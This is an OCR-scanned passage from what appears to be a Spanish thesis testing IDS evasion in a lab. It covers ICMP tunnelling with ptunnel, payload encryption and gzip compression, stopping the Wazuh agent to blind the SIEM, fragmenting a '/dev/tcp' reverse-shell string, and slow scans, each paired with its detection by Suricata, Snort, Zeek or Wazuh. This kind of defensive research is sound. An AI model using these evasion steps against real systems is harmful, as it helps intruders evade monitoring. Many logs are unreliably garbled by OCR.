\xd8\ \xc7\\xdf\\xce\\xfBuc\\xccwnj\\xbc\\xdf\\xelhckjwv\\xd74gai\\xcee\\xf2s\ \xe2u\\xc7c\\xfag\ \xd6v\\xdov
1k\\xdczs\\xcak\\xc95c \\xfo\\xcb:\\xdlz\\x: \xdl\\xf?k\\xfbm\\4:7\\4:1\\xdTGS\\xfo\\xc4nabnc\\xb:a\\&:35

‘qclass name":"C_INTERNET", qtypc :1e, qtype name":"NULL", "rco
DERRDR "AA":true, lse,"RD":true,"RA":false,"Z":0, answars [ runknawn typu 10>"]1,"
':fals:}
28566. 90330

r:]:ct:d fals:}

1lustracion 8.25: Logs de correlacion respecto a tunel DNS en Zeek. Fuente: Elaboracion propia.

El aspecto més sospechoso a primera vista mostrado en la figura es el contenido
del campo “query”, que contiene un subdominio excesivamente largo con caracteres
codificados. Este patron no es comun en trafico DNS legitimo, donde los nombres de
dominio suelen ser facilmente legibles y estructurados, como “nombrenormal.com”.
Ademas, se observa el uso del tipo de registro NULL, previamente descrito como un valor
reservado para pruebas experimentales, carente de uso en consultas reales. Finalmente,
aunque no se aprecia en la imagen, se detectaron multiples entradas compartiendo el
mismo “uid”, lo que indica una sesion persistente y repetitiva, comportamiento
caracteristico de herramientas de tunelizacion DNS.

8.3 Tinel ICMP

Un tinel ICMP es una técnica que permite establecer una comunicacion
encubierta entre dos sistemas mediante el uso del protocolo ICMP, tradicionalmente
empleado para diagnodstico de red (por ejemplo, con el comando ping). En lugar de
limitarse a verificar la conectividad, se encapsulan datos dentro de los paquetes ICMP
de tipo echo request y echo reply, permitiendo transmitir informacion entre un cliente y
un servidor sin utilizar protocolos de transporte como TCP o UDP.

Esta técnica puede utilizarse para eludir politicas de cortafuegos que bloquean
otros protocolos, ya que el trafico ICMP suele estar permitido por defecto. Dado que los
paquetes ICMP admiten una carga util de datos arbitraria, es posible transmitir trafico real
dentro de ellos, incluyendo incluso conexiones TCP encapsuladas. Sin una inspeccion
profunda del trafico, este tipo de actividad puede pasar desapercibida en muchos entornos
de red. [52]

8.3.1 Previo a la evasion

Para llevar a cabo este ataque se utilizara la herramienta “ptunnel”, que permite
establecer un canal de comunicacion encubierto mediante paquetes I[CMP. De forma
similar al tinel DNS, es necesario contar con la herramienta instalada tanto en el cliente
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como en el servidor. Cabe destacar que “ptunnel” se encuentra preinstalado en la
distribucion Kali Linux, lo que facilita su implementacion. [53]

Como consideracion practica en caso de que se esté tratando de reproducir el tinel,
en las primeras pruebas se experimentaron errores al establecerlo utilizando una red en
modo NAT. Aunque posteriormente funciond correctamente bajo esta misma
configuracion, por lo que se sospecha que el fallo inicial pudo estar relacionado con la
forma en que VirtualBox gestiona la traduccion de direcciones y el reenvio de paquetes
ICMP. En caso de presentarse problemas similares, se recomienda probar con una red en
modo bridge, ya que esta configuracion ofrece mayor transparencia en el tratamiento del
trafico ICMP al permitir que los paquetes se transmitan directamente entre la maquina
virtual y la red fisica, sin ser modificados o filtrados por el motor NAT de la herramienta
de virtualizacion. [54]

8.3.2 Ejecucion

En la Ilustracion 8.26 se observa al atacante iniciando un servidor ptunnel que
escucha por el puerto 22, utilizando una contrasefia para autenticar las conexiones
entrantes. Este servidor actuard como intermediario para reenviar las conexiones
recibidas a través del canal ICMP.

/home/kali
t password 22
: Starting ptunnel v 0.72.
: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>
: Security features by Sebastien Raveau, <sebastien.raveaugepita.fr>
: Forwarding incoming ping packets over TCP.

: Ping proxy is listening in privileged mode.

: Incoming tunnel request from 10.0.4.8.
: Starting new session to 127.0.0.1:22 with ID 8125
: Dropping duplicate proxy session request.

Hlustracion 8.26: Inicio del tunel ICMP por parte del servidor/atacante mediante ptunnel Fuente: Elaboracion
propia.

Por su parte, en la Ilustracion 8.27, la maquina victima (cliente) establece la
conexion al servidor, configurando un tunel entre el puerto local 2222 y el puerto 22 del
destino final (localhost), utilizando como puerta de enlace el servidor ptunnel en la
direccion 10.0.4.5.

/home/kali
password -p 10.0.4.5
[inf]: ¢ i ptunnel v

[inf] 211 Da L :
[inf] ecurity feat b bs en bastien.raveaudepita.fr>

[inf]: aying p: ts from incoming ms.

[inf]: Incoming connection.
[evt]: No runni p thread - starting it.
[inf]l: Ping pr is listening in p ileged mode.

llustracion 8.27: Conexion del tunel ICMP establecida en el cliente/victima. Fuente: Elaboracion propia.

Una vez configurado el tlnel, la Ilustracion 8.28 muestra como desde la victima
se puede iniciar una sesion SSH a través del tunel, logrando acceso al servicio SSH
encapsulado dentro del trafico [ICMP.
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/home/kali

t@localhost

tem e sof

a =
ct distribution te f : ram : described in the

LUTELY NO WARRA

Mlustracion 8.28: Conexion a la maquina atacante mediante tunel ICMP. Fuente: Elaboracion propia.

Finalmente, la Ilustracion 8.29 representa el flujo de paquetes generado por el
tunel. Una secuencia de mensajes ICMP tipo echo request y echo reply, que transportan
la comunicacion establecida a través del tanel.

ime Source ion Protocol Length Info
1 0.000000000 5 70 Echo request 5eq=60/15360, tt1=64 (reply in 2)
2 0.001536950 8 70 Echo (ping) reply , 5eq=60/15360, 4 (request in 1)
3 0.125810487 .8 70 Echo (ping) reply 5eq=62/15872,
5 1.003368628 .5 ICMP 70 Echo (ping) request 1id=0x7f3e, seq=61/15616, ttl=64 (reply in 6)
6 1.004324049 .8 Icmp 70 Echo (ping) reply id=0x7f3e, seq=61/15616, ttl=64 (request in 5)
7 1.135928154 .8 Icmp 70 Echo (ping) reply id=0x7f3e, seq=63/16128, ttl=64
9 2.007416048 5] IcHP 70 Echo (ping) request id=0x7f3e, seq=62/15872, ttl=64 (reply in 10)
10 2.609037664 .8 IcMP 70 Echo (ping) reply  id=6x7f3e, seq=62/15872, ttl=64 (request in 3)
11 2.157324084 .8 ICMP 70 Echo (ping) reply id=0x7f3e, seq=64/16384, tt1=64
12 3.019894906 .5 ICMP 70 Echo (ping) request id=0x7f3e, seq=63/16128, ttl=64 (reply in 13)
13 3.025713661 .8 ICMP 70 Echo (ping) reply id=ex7f3e, s5eq=63/16128, tt1=64 (request in 12)
14 3.167864176 .8 ICMP 70 Echo (ping) reply 5eq=65/16640, ttl=64
15 4.023765190 B Icmp 70 Echo (ping) request 5eq=64/16384, ttl=64 (reply in 16)
16 4.027983390 .8 IcHP 70 Echo (ping) reply i 5eq=64/16384, ttl=64 (request in 15)
17 4.173992618 .8 IcMP 70 Echo (ping) reply  id=0x7f3e, seq=66/16836, ttl=64
18 5.028296499 .5 IcMP 70 Echo (ping) request id=6x7f3e, seq=65/16640, tt1=64 (reply in 19)
19 5.030363696 .8 ICMP 70 Echo (ping) reply id=0x7f3e, seq=65/16640, tt1=64 (request in 18)
20 5.179389160 .8 ICMP 70 Echo (ping) reply id=ex7f3e, seq=67/17152, ttl=64
21 6.033806787 .5 ICMP 70 Echo (ping) request 1id=0x7f3e, seq=66/16896, ttl=64 (reply in 22)
22 6.034654553 .8 Icmp 70 Echo (ping) reply id=0x7f3e, seq=66/16896, ttl=64 (request in 21)
23 6.184544135 .8 IcHP 70 Echo (ping) reply id=0x7f3e, seq=68/17408, ttl=64
27 7.043085012 .5 IcMP 70 Echo (ping) request id=6x7f3e, seq=67/17152, tt1=64 (reply in 28)
28 7.043959607 .8 IcMP 70 Echo (ping) reply  id=6x7f3e, seq=67/17152, ttl=64 (request in 27)
30 7.196126449 .8 ICMP 70 Echo (ping) reply id=0x7f3e, seq=69/17664, ttl=64
32 8.047204758 .5 ICMP 70 Echo (ping) request id=0x7f3e, seq=68/17408, ttl=64 (reply in 33)
33 8.053605991 .8 ICMP 70 Echo (ping) reply id=ex7f3e, seq=68/17408, ttl=64 (request in 32)
35 8.199893038 8 TcMP 76 Fcho (nina) renlv id=ex7f3e. sea=7A/17920. tt1=64

Hustracion 8.29: Muestra del flujo de paquetes del tinel ICMP en Wireshark. Fuente: Elaboracion propia.

8.3.3 Suricata y Snort

PTUNNEL OUTBOUND [+*] Command
PTUNNEL INBOUND [#*]

PTUNNEL INBOUND [**]

PTUNNEL INBOUND [+*]

PTUNNEL OUTBOUND [+*] i 2 Command
PTUNNEL INBOUND [#*] t mmand D
PTUNNEL INBOUND [**] [¢ i r mmand D

PTUNNEL OUTBOUND [%*] i Conmand
PTUNNEL INBOUND [+*] r

PTUNNEL OUTBOUND [#%]

PTUNNEL INBOUND [#+]

PTUNNEL INBOUND [#*]

PTUNNEL OUTBOUND [+*]

PTUNNEL INBOUND [#*]

Hustracion 8.30: Reglas de Emerging Threats (Proofpoint) activadas por Suricata respecto al tinel ICMP. Fuente:
Elaboracion propia.

En este caso, ambos sistemas de deteccion alertan sin dificultad el tinel ICMP, y
se hace de manera diferente respecto al caso del tinel DNS. A diferencia de este ultimo,
donde se detectaba mediante el tipo de Registro DNS utilizado (un parametro facilmente
sustituible) o una regla basada en tiempo (simulando analisis por comportamiento), ahora
se utiliza la firma de la herramienta utilizada. Concretamente se activa la alerta cuando el
contenido “D5 20 08 80 se encuentra en un paquete que se origina en una “red externa”
y se dirige a alguno de los hosts de la “red interna” mediante el protocolo ICMP, siendo
el cddigo hexadecimal, una firma de la herramienta “ptunnel”.
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/home/kali/ptunnel

2xD5

:#define kPing_tunnel_magic 200880

llustracion 8.31: Firma de ptunnel. Fuente: Elaboracion propia.

Para eludir esta regla, seria necesario modificar directamente el programa. Esta
practica es comun en el &mbito de la ciberdelincuencia, donde se ha popularizado el uso
de plataformas como MISP, que se utilizan, entre otras cosas, para registrar indicadores
de compromiso (IOC), como hashes maliciosos, y bloquear conexiones que contengan
alguno de ellos. Si bien no se trata estrictamente de una deteccion basada en hashes, el
principio es similar: alterar el programa con el objetivo de evadir mecanismos de
deteccion basados en firmas. [55]

8.3.4 Zeek

A diferencia de Snort y Suricata, la deteccion de ptunnel en Zeek no se basa en
firmas, sino en un analisis de comportamiento del tinel. Aunque técnicamente es posible
implementar detecciones por firma, Zeek no esta disefiado con ese propdsito como
prioridad.

En este caso, el script utilizado se desarrolld a partir del ejemplo anterior de
deteccion por DNS, empleando contadores y umbrales para identificar posibles ataques
en funcion del numero de paquetes ICMP "echo request" y "echo reply". Véase el anexo
“12.12 Script de Zeek para deteccion de tunel ICMP”.

. "id.resp_p":0,"proto”
Echo R¢p1 s from 10.0.4.8 to
"suppress_ 00.0}
:"10.8.4.5","id.resp_p":0, "proto"
h number of ICMP Echo Requests from 10.0.4.8
:ACTION_LO! ail_dest":[],"suppress for 3000 0}
", "id.or d.resp_| 8. .
Hl.gh numb:r
il_d 600. 0}
.resp_p":0,"proto”
s from 10.0.4.8 to
:3600.0)
,"id.resp_p":0,"proto"
quests from 10.0.4.8
or":3600.0}
8 B 0. o .resp_p":0,"proto"
IcmpchlyFlood ,' e s from 10.0.4.8 to
"dst":"10.0.4.5" "actions":["Notice: :ACTION_LOG"],"email_dest":[],"suppress_ for":}r)oo.o}

lustracion 8.32: Alertas de deteccion de tunel ICMP en Zeek. Fuente: Elaboracion propia.

En la Tustracion 8.32 se puede observar que el script ha generado alertas en el
archivo “notice.log”, informando sobre una posible actividad de tinel ICMP. Estas alertas
incluyen las direcciones IP de origen y destino implicadas en el trafico sospechoso,
ademas del “uid” que puede ser muy util a la hora de correlacionarlo con otros logs.

8.4 Ocultacion de carga util

Una de las estrategias mas efectivas para evadir un sistema de deteccion de
intrusiones consiste en impedirle la visibilidad de la carga util del trafico de red. Esto se
puede lograr mediante técnicas como el cifrado y la compresion, que ocultan el contenido
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malicioso bajo formas que los IDS, especialmente los basados en firmas, no pueden
analizar adecuadamente.

8.4.1 Cifrado

Una de las mayores limitaciones de los IDS, y la razén por la que se debate acerca
de su utilidad actual y futura, es lo extendido que esté el uso de comunicaciones cifradas.
Un IDS debe poder leer el area de datos de los paquetes capturados para poder aplicar su
conjunto de reglas. No obstante, cuando los paquetes estan cifrados, son ilegibles para el
motor de reglas. [56]

Aunque existen métodos mas complejos y robustos de cifrado, como la
implementacion de certificados para comunicacion TLS mutua entre cliente y servidor,
basta con un ejemplo sencillo para demostrar esta limitacion inherente de los IDS.
Mediante herramientas como “openssl”, es posible cifrar un payload utilizando
algoritmos como AES, lo que impide que el IDS inspeccione el contenido real del
mensaje.

/home/kali

/tmp/test.txt

@- http://10.0.4.4/

**% WARNING : deprecated key derivation used.

Using -iter or -pbkdf2

<hm1><nead><t1:19>F~!etasplo1tabl»2 - Llr.ux‘.,/ title></head><body>
<pre>

Hustracion 8.33: Ejecucion simple de openssl para cifrar el contenido de un payload malicios. Fuente: Elaboracion
propia

Si se analizan los paquetes resultantes en Wireshark, el contenido aparece ilegible,
a diferencia de técnicas anteriores en las que la visibilidad era completa al presentarse la
carga Util en texto plano.

980 @ SACK_PERM TSva|-2249333196 [Secr=8 WS=128
7480 — 32953 [svH, Acm = MSS=1460 SACK_PERM TSval=2048804 TSecr=2249333196 WS
66 32980 — BB [ACK] Se q— = = 1722.:93:3193 TSecr=2848804

HTTI

app Lic: X - e -
- 32988 [AEK] Seq=1 Ack=287 Win 0912 Len=8 TSVEL 2048804 TSecr=2249333199
1133 HTTP/1.1 268 OK (text/html)
66 32986 - B0 [ACK] Seq=207 Ack=1068 Win=63232 Len=0 TSval=2249333220 TSecr=2046806
66 32986 - B0 [FIN, ACK] Seq=207 Ack=1068 Len=8 TSval=2249333221 TSecr=
= Len=0 TSval=2048807 TSecr=2249333221
TSval=2249333227 TSecr=2049887

88 89 27 fb

llustracion 8.34.: Muestra de un paquete con payload cifrado en Wireshark. Fuente: Elaboracion propia
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8.4.2 Compresion

Otra técnica de evasion efectiva es la compresion de la carga util. Herramientas
como “gzip” permiten comprimir datos antes de enviarlos, lo que puede desorientar a
sistemas IDS que no analicen encabezados HTTP o no estén configurados para
descomprimir contenido comprimido.

Como caso de uso, es suficiente comprimir un archivo, y enviarlo mediante el
comando curl a la maquina victima “gzip -c /tmp/test.txt | curl --data-binary @- -H
"Content-Encoding: gzip" http://10.0.4.4/”.

Dando como resultado un paquete como el que se ve en la Ilustracion 8.35, cuyo
contenido transmitido no se encuentra en texto claro, lo que limita la capacidad del IDS
para aplicar detecciones significativas.

Seq=1 Ack=1 Win=64256 Len=0 Tﬁ\nl

TCP 66 34378 86 [ACK]
1P PO P.

app
TCcP 66 80 . 34378 AACK Seq=1 ACk=208 Win= 0‘)12 Len=8 TSva
HTTP IX!SH”P’] 1 200 OK Hlx(/h("l)

75 69 64 3d 30 28 72 6f 6f 74 29 Oa uid=6(ro ot)

Frame (273 bytes)  Uncompressed entity body (12 bytes)

Llustracion 8.35: Muestra en Wireshark de paquete con carga comprimida. Fuente: Elaboracion propia

8.4.3 IDS sin visibilidad

Para que un IDS sea efectivo, debe tener visibilidad del trafico, ya sean
encabezados, metadatos, payloads u otras caracteristicas del flujo de datos. Sin acceso a
estos elementos, el sistema quedaria ciego ante posibles amenazas. Técnicas como el
cifrado y la compresion explotan esta debilidad, ocultando el contenido malicioso dentro
que son ilegibles para el IDS, y por lo tanto, no puede interpretar.

Ademas del cifrado y la compresion, existen otros métodos para reducir la
visibilidad del IDS. Por ejemplo, el uso de protocolos poco comunes o personalizados,
fragmentacion intencionada de paquetes, encapsulamiento en tuneles cifrados o incluso
técnicas de esteganografia. Todas ellas buscan lo mismo: impedir el analisis profundo del
trafico por parte de los sistemas de deteccion.

Esta limitacion se relaciona directamente con la triada de visibilidad de un SOC,
un modelo propuesto por Anton Chuvakin y recogido en publicaciones como “EDR,
SIEM y NDR - Conozca la triada de visibilidad de SOC” de International IT [57], ademas
de haber sido abordado en conferencias como la HackRon Tenerife 2025, especificamente
en la charla " Consideraciones de ciberseguridad desde la red (Exclusive Networks)”,
impartida por Antonio Canada [58], quien subray¢ la importancia de este concepto.

La triada define tres pilares clave para lograr una supervision efectiva: visibilidad
en red (NDR, Network Detection and Response), visibilidad en endpoints (EDR) y
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visibilidad de registros (SIEM). Cuando alguno de estos tres vectores falla o se ve
limitado, como ocurre cuando un IDS pierde acceso al contenido real del trafico, se genera
una brecha critica en la capacidad de deteccion. [57]

Por esta razon, un IDS por si solo no es suficiente como herramienta de deteccion.
Para cubrir estas limitaciones, es necesario apoyarse en herramientas complementarias
que aporten contexto desde otros angulos. El anélisis de comportamiento, la correlacion
de eventos, el monitoreo en los endpoints y la inspeccion de trafico desencriptado cuando
es viable, son claves para mantener una defensa efectiva frente a amenazas que tratan de
pasar desapercibidas.

8.5 Desactivacion del agente de Wazuh

Como se explicd en la seccion anterior, un IDS pierde efectividad cuando se le
priva de visibilidad sobre el trafico que analiza. Esta misma légica aplica a los demas
pilares de la triada de visibilidad del SOC: red, endpoints y registros. Una forma efectiva
de degradar el pilar de visibilidad en endpoints y, por lo tanto, debilitar el sistema de
registros (SIEM), es la desactivacion del agente de Wazuh.

Wazuh, mas alla de ser un HIDS, también cumple una funcion central en muchos
entornos en cuanto a recoleccion de registros y correlacion de eventos para el SIEM. Los
agentes de Wazuh estdn instalados no solo en puntos finales (potenciales sistemas
victimas a monitorizar), sino también en otros nodos de supervision como IDS, u otros
dispositivos clave que ingestan logs. Esto significa que, al detener un agente, se esta
interrumpiendo la recoleccion y centralizacion de eventos, afectando directamente la
visibilidad global del entorno.

Segun la documentacion oficial, un agente deberia estar activo de forma
continua, enviando mensajes periodicos al servidor. Si estos mensajes no llegan dentro
del tiempo esperado, el servidor lo marcara como desconectado. [59]

Un atacante con acceso a una maquina podria aprovechar este mecanismo para
simular una caida legitima (suponiendo que se efectiien caidas periddicas en el entorno
vulnerable), deteniendo el agente con comandos como: “systemctl stop wazuh-agent”
en Linux”.

De esta forma, mientras el agente esta desactivado, no se recolectan logs ni alertas,
y el atacante puede operar fuera del radar. Si, ademas, el atacante elimina los rastros de
su actividad en los registros locales, puede restablecer el agente mas tarde sin levantar
sospechas inmediatas.

Este tipo de evasion afecta directamente al SIEM, no solo a nivel de visibilidad
del endpoint, sino también al romper la cadena de correlacion de eventos. Al no recibir
informacion desde la fuente comprometida, el sistema pierde contexto y capacidad de
reaccion, debilitando dos componentes de la triada al mismo tiempo.
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8.6 FRAGMENTACION

8.6.1 Previo a la evasion

Para realizar el ataque se utiliza la herramienta Scapy, una potente libreria de
Python para la manipulacion de paquetes. Mediante un script personalizado (Véase anexo
“12.8 Script de Ataque de Fragmentacion con Scapy”), se construyen paquetes [P

fragmentados manualmente, los cuales son enviados hacia el objetivo con el fin de
simular un escenario de evasion por fragmentacion.

8.6.2 Ejecucion

Ataque de fragmentacion en miniatura

El ataque implementado corresponde a una variante conocida como “tiny
fragmentation attack”. Este método consiste en dividir el paquete en fragmentos
extremadamente pequefios, de forma que el contenido malicioso queda repartido entre
varios fragmentos que, por si solos, no muestran patrones sospechosos. Si el IDS no
cuenta con capacidad de reensamblado completo de paquetes, o si dicho proceso no esta
correctamente configurado, el contenido seria indetectable para el sistema de deteccion
por falta del contexto del flujo.

En cambio, el sistema de destino, la victima, reensambla automaticamente los
fragmentos y recibe el payload completo, incluyendo cualquier contenido malicioso que
el IDS no fue capaz de identificar en transito. [60]

En Wireshark es posible observar el trafico fragmentado generado durante la
prueba, asi como la presencia de paquetes ICMP (una solicitud y su correspondiente
respuesta), utilizados en algunos casos como canal para encapsular y transportar estos
fragmentos. Este comportamiento refleja como, en muchos entornos, los IDS actuales
deben disponer de mecanismos de reensamblado robustos para inspeccionar
adecuadamente este tipo de ataques.

Protoc Length

IPva 66 mented IP protocol (proto=ICMP 1, off=¢ g nbled in #15]
IPva gmented IP protocol (proto=ICMP 1, o . [ embled in #15]
IPv4 60 Fragmented IP protocol (proto=ICMP 1, 0 39) [Reassembled in #15]
IPva mented IP protocol (proto=ICMP 1, © [ embled in #15]
IPv4 0 gmented IP protocol (proto=ICMP 1, ) [Re: embled in #15]

60 Echo (ping) reque d=0x0800, seq= 4 (rply in 1

83 Echo (ping) reply id=ox0000, seq=0/8, ttl=64 (request in 15)
328 DHCP Request - Transaction ID @xe6b9bea3

r Length: 20 bytes (5

Mlustracion 8.36: Muestra en Wireshark de "tiny fragmentation attack”. Fuente: Elaboracion propia

A diferencia de una transmision estandar, donde el contenido del payload aparece
de forma integra, en este caso los datos se dividen en multiples fragmentos. Como
resultado, el contenido malicioso no se presenta de forma completa, dificultando su
deteccion. Este comportamiento es una manifestacion directa de como la fragmentacion
puede ser usada como técnica de evasion.
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En la Ilustracion 8.36, no se encuentra “/dev/tcp”, que es un activador de regla,
sino que unicamente se muestra el fragmento “ev/tcp”, potencialmente evadiendo la
deteccion. No obstante, los IDS modernos tienen una etapa de reensamblado que no esté
en el flujo real de transmision. Similar a lo que se ve en la [lustracion 8.37 con Wireshark.

Frame (60 bytes)  Reassembled IPv4 (49 bytes)

llustracion 8.37: Paquete ICMP reensamblado en Wireshark. Fuente: Elaboracion propia

En el paquete que se muestra, se presenta un apartado de reensamblado, en el que
se ve el contenido completo que va desde la maquina atacante a la victima. No obstante,
esto no es un paquete que realmente se haya enviado, sino que es generado por Wireshark
como parte de la etapa de reensamblado. Algo similar hacen los IDS basados en red a la
hora de reensamblar paquetes. [61]

proto ICMP (1), length 28)

10.9.4.7 tell 10.90.4.6,

, proto ICMP (1), length 28)

proto ICMP (1), length 28)

Hlustracion 8.38: Trafico del ataque de fragmentacion con "tcpdump. Fuente: Elaboracion propia

A través de la captura de trafico con “tcpdump”, se ve el flujo real sin
reensamblado. Solamente hay un inico paquete ICMP, que tiene como origen la maquina
victima, lo que confirma que el paquete que aparece en la [lustracion 8.37 fue creado por
una herramienta de reensamblado.

8.6.3 Suricata y Snort

Hoy en dia, la mayoria de los sistemas de deteccion de intrusiones basados en red
(NIDS) incorporan por defecto mecanismos de reensamblado de paquetescomo parte de
sus capacidades basicas. Aunque los ataques de fragmentacion fueron de los primeros en
ser utilizados para evadir sistemas de deteccion de intrusiones, actualmente tanto Snort
como Suricata cuentan con modulos que permiten reconstruir las cargas utiles a partir de
fragmentos dispersos.

La efectividad del reensamblado se evidencia en la deteccion del payload
malicioso utilizado durante la prueba. En este caso, la cadena "/dev/tcp" fue detectada
en dos momentos distintos: primero, al ser reconstruida por el NIDS a partir de los
fragmentos capturados, y posteriormente, en el paquete de tipo “ICMP Echo Reply”,
donde la victima responde con el contenido recibido, revelando nuevamente el payload.
Esta doble deteccion confirma que el sistema fue capaz de analizar el flujo de red en
transito.
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8.6.4 Zeek

Mientras tanto, Zeek no necesitd de scripts personalizados para detectar el ataque
contrariamente a secciones anteriores. En este caso uno de los scripts por defecto detectd
un suceso extrafio referente a fragmentos demasiado pequenos, y lo guardo en el archivo
“weird.log”, correspondiente a actividades de red “inesperadas”.

:{"ts":1748436295.358471, " "uid" : "C275093D0DmyNMeVK jb" ,"id.or1 ":"18.68.4.
5","id.orig_p":8,"id.resp_h":"10.0.4.10" " "1 ","duration”

:0.0006589889526367188,"orig_bytes":41,"resp_byt 1," = e":"OTH","local
_orig":true,"local_resp":true,"missed_bytes":0,"orig_pkts":1,"orig_ip_bytes":69,

"resp_pkts":1,"resp_ip_bytes":69}

{"ts":1748436294.066092,"id.orig_h":"10.08.4.5","id.orig_p":0,"id.resp_
h":"10.0.4.10","id.resp_p":0,"name" : "excessively_small_fragment","notice":false,
"peer":"zeek"}

llustracion 8.39: Alertas generadas por defecto en Zeek frente a un "tiny fragment attack”. Fuente: Elaboracion
propia

8.7 Evasion por tiempo

8.7.1 Escaneo de Puertos

Una de las acciones mas comunes al disponerse a vulnerar una maquina, es lanzar
un escaneo de puertos para descubrir los servicios que estan desplegados en la maquina,
y comprobar si alguno de ellos es vulnerable. Este tipo de escaneos se basan en enviar
paquetes a los puertos de una maquina para identificar cudles estan abiertos y qué
servicios estan corriendo.

El método mas comun es el escaneo SYN (half-open scan), en el que el atacante
envia un paquete SYN (inicio de conexion TCP) a un puerto, recibiendo un un SYN-
ACK como aceptacion en caso de estar abierto, o un RST en caso de estar cerrado.
Ademas, puede no haber respuesta si hay algin mecanismo de filtrado, como un firewall
[62].

La manera estandar de crear reglas para alertar acerca de escaneos de puertos
(tanto para Snort, como con Suricata) es en funcidén del nimero de veces que se envian
paquetes en una franja de tiempo concreta, tal y como se ve en la Ilustracion 8.40.

/var/lib/suricata/rules
suricata.rules

/var/lib/suricata/rules
00002 suricata.rules

1lustracion 8.40: Reglas de Suricata relativas al escaneo de puertos. Fuente: Elaboracion Propia

En ambas reglas, el campo mas importante es el “threshold”, en el que se toma
como parametro el nimero de veces que una misma IP de origen envia paquetes TCP en
un periodo de tiempo determinado. Por lo tanto, esta regla es facilmente evadible si se
supera el tiempo establecido.

En el caso de la primera regla, el escaneo debe ser masivo para enviar mil paquetes
en 30 segundos o0 menos, ya que incluso un escaneo normal con “nmap” no activa la regla,
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mientras que la segunda regla se activa al recibir 7 paquetes en 135 segundos o menos,
permitiendo detectar escaneos que van a velocidades moderadas o altas.

/home/kali
10.0.4.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 07:58 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try
n
Nmap done: 1 IP address (@ hosts up) scanned in 901.23 seconds

/home/kali
1 10.0.4.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 07:58 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try
Pn
Nmap done: 1 IP address (@ hosts up) scanned in 46.15 seconds

/home/kali

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 08:33 EDT

Note: Host seems down. If it is really up, but blocking our ping probes, try
n

Nmap done: 1 IP address (@ hosts up) scanned in 1.48 seconds

/home/kali
10.0
Starting Nmap 7.95 ( tps org ) at 2025-05-21 0
Note: Host seems down. ly up, but blocki
Pn
Nmap done: 1 IP address (© hosts up) scanned in 1.60 seconds

llustracion 8.41: Escaneo de puertos con nmap a diferentes velocidades. Fuente: Elaboracion Propia

En la Ilustracion 8.41 se puede apreciar un intento de escaneo a la direccion IP
“10.0.4.4”, que en ese momento estaba inactiva. El tiempo demorado en que dicha
inactividad sea detectada, es un indicador de la velocidad de los diferentes modos.

Tal y como se puede apreciar, la diferencia de velocidad entre el “T5” y el “T1”,
0 “T0” es enorme. Con el modo “T5”, una regla basada en tiempo es muy util, pero,
por otro lado, el “T0” es practicamente imposible de detectar, ya que el rastreo se
tendria que mantener por un tiempo demasiado prolongado.

Esta limitacion también afecta a Zeek, que utiliza scripts personalizados para
implementar logica de deteccion temporal (véase anexo “12.13 Script de Zeek para
deteccion de escaneo de puertos™). Se enfrenta la misma dificultad: los escaneos lentos
no activan alertas a menos que el sistema esté configurado para rastrear sesiones
durante largos periodos, lo cual puede ser poco eficiente y costoso a nivel de

rendimiento.

La evasion basada en el tiempo es, por tanto, una técnica muy eficaz para pasar
desapercibido frente a sistemas de deteccion, ya que suelen depender de umbrales de
frecuencia, y demuestra que incluso detecciones relativamente simples requieren un
equilibrio cuidadoso entre sensibilidad y eficiencia operativa.

root@zeek: fopt/zeek/logs/current# grep " ential port scan" *
"ts":1748436855.978027, "note PORT_SCAN: :PortScanDetect
: 18. 0 received C 5 suspicio
":["Notic emat

:1748436856.0396 ,"note":" :PortScanDetected

received from 10.0.4.5, suspi s e s","d
ACTION_LOG"],"email_dest" or":3600.0}
"ts":1748436859.906338, "nc
0 received from 10.0.4.5, 50 suspic TCP attempts”,"dst":"16.0.4.10","actions
":["Notice: :ACTION_LOG"],"email_dest":[],"suppress_for":3600.0}

llustracion 8.42: Alerta generada por escaneo de puertos en Zeek. Fuente: Elaboracion Propia
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8.7.2 Fuerza bruta espaciada en el tiempo

Una de las técnicas mas comunmente utilizadas, es el ataque de fuerza bruta, cuyo
objetivo es obtener credenciales validas mediante multiples intentos de autenticacion.
Este tipo de actividad, cuando se realiza de forma rapida y repetitiva, suele ser detectada
facilmente por los sistemas de monitorizacidn, tanto en red como en endpoints.

Wazuh como HIDS

En este caso, se analiza el comportamiento de Wazuh en su faceta de HIDS,
que al operar como agente en la maquina victima, se encarga de leer y analizar los logs
del sistema, incluyendo aquellos generados por servicios de autenticacion como SSH. En
la Tlustracién 8.43, se encuentra la regla encargada de alertar sobre inicios de sesion
fallidos, que ademas de alertas sobre ello, se relaciona con las técnicas MITRE
T1110.001, correspondiente a “Fuerza Bruta: Adivinaciéon de contrasefias” y el
T1021.004, relacionados a “Servicios remotos: SSH” [63]

<rule id="5760" level="5">
<if_sid>5700,5716</if_sid>
<match>Failed password|Failed keyboard|authentication error</match=>
<description=sshd: authentication failed.</description=
<mitre>
<1d=T11108.001</id>

<id>=T1021.004</1d>
</mitre>
<group=authentication_failed,gdpr_IV 35.7.d,gdpr_IV_32.2,gpgl13_7.1,hi
nist_800_53 AC.7,pcil_dss_10.2.4,pci_dss_10.2.5,tsc_CC6.1,tsc_CC6.8,tsc_C
</rule=

Llustracion 8.43: Regla correspondiente a una autenticacion fallida por SSH. Fuente: Elaboracion propia.

A partir de los registros generados por esta regla, Wazuh puede generar alertas
ante multiples intentos fallidos de inicio de sesion en un corto periodo de tiempo. Para
ello, se crea una regla personalizada como la 100050 de la Ilustracion 8.44, que lanza
una alerta de nivel 9 tras detectar 4 intentos fallidos de autenticacion en 50 segundos,
indicando un posible ataque de fuerza bruta. Una vez activada, esta regla no se vuelve a
evaluar durante 90 segundos, evitando asi generar alertas repetitivas por cada intento
adicional. Esto previene la saturacion del sistema con notificaciones redundantes y
permite que el analista priorice adecuadamente las alertas criticas.

5760
Posible ataque de fuerza bruta a SSH
ssh_authentication_failures,

ssh_authentication_failures

Acceso exitoso tras ataque de fuerza bruta a SSH

Hlustracion 8.44: Reglas personalizadas de deteccion de ataques de fiierza bruta por SSH.Fuente: Elaboracion
propia.

Adicionalmente, se creo laregla 100051, que se activa una vez se detecta un inicio
de sesion exitoso (regla 5715) tras un ataque de fuerza bruta (grupo
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ssh_authentication failures) proveniente de la misma IP (etiqueta “same srcip”). Se
